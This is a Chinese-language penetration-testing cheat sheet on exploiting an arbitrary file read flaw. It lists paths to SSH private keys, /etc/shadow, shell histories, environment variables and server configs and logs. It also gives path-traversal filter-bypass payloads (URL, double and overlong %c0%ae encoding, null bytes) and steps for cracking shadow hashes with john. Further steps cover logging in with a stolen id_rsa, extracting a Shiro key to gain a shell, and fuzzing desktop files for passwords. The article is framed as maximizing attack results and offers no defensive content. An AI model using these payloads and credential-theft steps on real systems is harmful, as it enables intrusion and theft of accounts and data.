滲透必備!文件讀取漏洞的后利用姿勢
當我們遇到任意文件讀取漏洞的時候,我們需要考慮如何通過這一個小點去擴大我們的成果,達到最大化利用的目的。
本篇文章主要介紹了一些在我們拿到任意文件讀取點后的深入利用姿勢,希望對大家能有所幫助。來源作者lxlxlx@深信服西部天威戰隊
常見讀取的敏感文件路徑
windows
C:\boot.ini //查看系統版本 C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件 C:\Windows\repair\sam //存儲系統初次安裝的密碼 C:\Program Files\mysql\my.ini //Mysql配置 C:\Program Files\mysql\data\mysql\user.MYD //Mysql root C:\Windows\php.ini //php配置信息 C:\Windows\my.ini //Mysql配置信息 ......
Linux
/root/.ssh/authorized_keys //如需登錄到遠程主機,需要到.ssh目錄下,新建authorized_keys文件,并將id_rsa.pub內容復制進去 /root/.ssh/id_rsa //ssh私鑰,ssh公鑰是id_rsa.pub /root/.ssh/id_ras.keystore //記錄每個訪問計算機用戶的公鑰 /root/.ssh/known_hosts //ssh會把每個訪問過計算機的公鑰(public key)都記錄在~/.ssh/known_hosts。當下次訪問相同計算機時,OpenSSH會核對公鑰。如果公鑰不同,OpenSSH會發出警告, 避免你受到DNS Hijack之類的攻擊。 /etc/passwd // 賬戶信息 /etc/shadow // 賬戶密碼文件 /etc/my.cnf //mysql 配置文件 /etc/httpd/conf/httpd.conf // Apache配置文件 /etc/redhat-release 系統版本 /root/.bash_history //用戶歷史命令記錄文件 /root/.mysql_history //mysql歷史命令記錄文件 /var/lib/mlocate/mlocate.db //全文件路徑 /proc/self/fd/fd[0-9]*(文件標識符) /proc/mounts //記錄系統掛載設備 /porc/config.gz //內核配置文件 /porc/self/cmdline //當前進程的cmdline參數 /proc/sched_debug 配置文件可以看到當前運行的進程并可以獲得對應進程的pid /proc/pid/cmdline 則可以看到對應pid進程的完整命令行。 /proc/net/fib_trie 內網IP /proc/self/environ 環境變量 /proc/self/loginuid 當前用戶 ......
繞過思路
可以進行fuzz
url編碼代替.或者/,如使用%2F代替/ ?filename=..%2F..%2F..%2F..%2Fetc%2Fpasswd 二次編碼(%25) ?filename=..%252F..%252F..%252F..%252Fetc%2Fpasswd 加入+ ?filename=.+./.+./bin/redacted.dll %00 ?filename=.%00./file.php /etc/passwd%00.jpg \ ?filename=..%5c..%5c/windows/win.ini Java %c0%ae 安全模式繞過 ?filename=%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd
Linux下的常見利用姿勢
用戶目錄下的敏感文件
.bash_history .zsh_history .psql_history .mysql_history .profile .bashrc .gitconfig .viminfo 任意文件讀取/etc/passwd 提取passwd第一列,即root等一系列用戶名 讀history:../../root/.bash_history 暴破所有用戶的.bash_history:../../../home/§root§/.bash_history
歷史命令重點關注出現的密碼、路徑、配置文件路徑、其他關聯IP、日志文件、war包、備份文件路徑等等,可進一步讀取或利用。
PS:如要下載文件,可能會導致過大文件下載失敗,可以使用wget進行下載,比如catanlina.out日志文件、war包、備份文件等等。
主機憑證文件
私鑰文件
/root/.ssh/id_rsa 私鑰 /root/.ssh/authorized_keys 公鑰存儲文件 /root/.ssh/id_rsa.keystore /root/.ssh/known_hosts //記錄每個訪問計算機用戶的公鑰
私鑰文件如果沒有設定密碼保護,便可直接獲取到進行登錄到服務器,或使用xshell等軟件選擇證書登錄。
ssh -i id_rsa root@IP地址
系統密碼
/etc/passwd
root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin ...... 用戶名:口令:用戶標識號:組標識號:注釋性描述:主目錄:登錄Shell
可以看到哪些用戶可以登錄
/etc/shadow
root:$1$v2wT9rQF$XSpGgoB93STC4EFSlgpjg1:14181:0:99999:7::: $id$salt$密文
id代表的是使用不同的加密算法,不同的系統使用的算法也不盡相同。salt是加密的時候需要用到鹽。最后就是密文。
注意:如果密碼字符串為*,表示系統用戶不能被登入,為!表示用戶名被禁用,如果密碼字符串為空,表示沒有密碼。

- 在線查詢
- https://www.cmd5.com/
- john破解
unshadow /etc/passwd /etc/shadow > test_passwdjohn --wordlist=字典路徑 test_passw- 默認密碼字典位于
/usr/share/john/password.ls
全路徑
mlocate.db數據庫里存儲了本地所有文件的配置信息
/var/lib/mlocate/mlocate.db
利用locate命令將數據輸出成文件,這里面包含了全部的文件路徑信息
locate mlocate.db config把包含config的路徑全輸出出來
locate mlocate.db webapps
locate mlocate.db www
獲取到路徑后可以進一步挖掘敏感信息和系統漏洞
程序源代碼
利用全路徑或者其他地方獲取到的路徑讀取一些關鍵的程序源碼。
讀取WEB-INF/web.xml,進一步讀取class文件,反編譯得到源碼。
讀取war包,反編譯獲取源碼。
應用配置文件
獲取到網站的相關配置信息,包括站點配置、數據庫配置等等,也可進一步獲取到源碼。
- java站點
/WEB-INF/web.xml/WEB-INF/classes/applicationContext.xml/WEB-INF/classes/xxx/xxx/xxx.classcore.jar如果遇到Shiro站點,可以直接利用全路徑找到core.jar,去下載core.jar,下載后反編譯搜索Base64.decode直接找key,進而getshell。- tomcat
/usr/local/tomcat/conf/tomcat-users.xml- nginx
/www/nginx/conf/nginx.conf/etc/nginx/nginx.conf/usr/local/nginx/conf/nginx.conf/usr/local/etc/nginx/nginx.conf- apache
/etc/httpd/conf/httpd.conf/etc/apache2/apache2.conf/etc/apache2/httpd.conf- redis
/etc/redis.conf- ssh
/etc/ssh/sshd_config
應用日志文件
利用日志文件獲取網站后臺地址、api接口、備份、等等敏感信息。
- tomcat
- 可以先找到
/tomcat/bin/catalina.sh,里邊有log的配置路徑 /webapps/ROOT/logs/catalina.out- apache
/var/log/apache2/access.log/var/log/apache2/error.log/var/log/httpd/access_log/etc/httpd/logs/access_log/etc/httpd/logs/error_log/etc/httpd/logs/error.log- nginx
/var/log/nginx/access.log/var/log/nginx/error.log/usr/local/var/log/nginx/access.log/usr/local/nginx/logs
Windows下的利用姿勢
盲讀取桌面文件
有些時候,管理員會圖方便,在桌面存儲一些敏感的文件,我們可以直接對桌面的一些文件名進行fuzz,比如1.txt、2.txt、密碼.txt、pass.txt等等,進一步擴大戰果。
總結
在漏洞利用層面,除了去關注一鍵RCE,我們不妨也可以試著去思考一下其他類型漏洞的最大化利用。
當一個微小的漏洞和神奇的思路碰撞在一起,往往也能產生意想不到的效果。記住,發散你的思維,讓漏洞發揮出最大的價值!